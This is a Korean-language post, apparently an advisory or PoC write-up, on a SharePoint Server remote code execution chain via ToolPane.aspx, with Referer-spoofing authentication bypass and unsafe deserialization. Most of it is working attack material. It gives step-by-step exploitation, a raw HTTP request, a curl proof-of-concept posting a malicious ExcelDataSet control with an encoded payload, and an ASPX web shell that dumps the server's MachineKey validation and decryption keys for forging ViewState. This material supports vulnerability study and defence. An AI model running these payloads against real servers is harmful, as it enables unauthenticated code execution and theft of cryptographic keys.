
CVE-2025-53770 - SharePoint
신뢰할 수 없는 데이터의 역직렬화로 인해 온프레미스 Microsoft SharePoint Server에서 공격자가 원격으로 코드를 실행하고 시스템을 손상시킬 수 있습니다. Microsoft는 활발한 공격을 인지하고 있으며 포괄적인 업데이트를 준비 중입니다. CVE 문서의 완화 조치가 적용되어 있는지 확인하십시오.
이는 중요한 원격 코드 실행(RCE)입니다. 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화를 악용하여 공격자가 인증 없이 임의 코드를 실행할 수 있습니다.
HTTP 헤더(특히 Referer 필드) 조작을 통한 인증 우회(스푸핑) 취약점으로, 접근 제어를 우회하고 CVE-53770과 결합하여 RCE로 이어질 수 있습니다.
둘 다 이전 패치인 **(CVE-2025-49704 및 CVE-2025-49706)**를 대체하며, 해당 패치는 7월에 적용되었으나 불완전하여 새로운 공격 벡터를 가능하게 했습니다.
1 - (인증 우회): /layouts/15/ToolPane.aspx
1단계 – 취약한 URL에 POST 요청을 보냅니다. 2단계 – MachineKey를 읽는 코드가 포함된 .aspx 파일을 업로드합니다(스니펫과 동일). 3단계 – 해당 키로 구성된 ysoserial.net과 같은 도구를 사용하여 악성 ViewState를 생성합니다.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
다음 PoC는 공격자가 취약한 엔드포인트를 통해 악성 페이로드를 추출하고 디코딩하기 위해 이 취약점을 어떻게 악용할 수 있는지 보여줍니다.
대상 도메인은 의도적으로 target.com으로 대체되었습니다.
PoC 명령 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
분석에 사용된 실제 명령
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>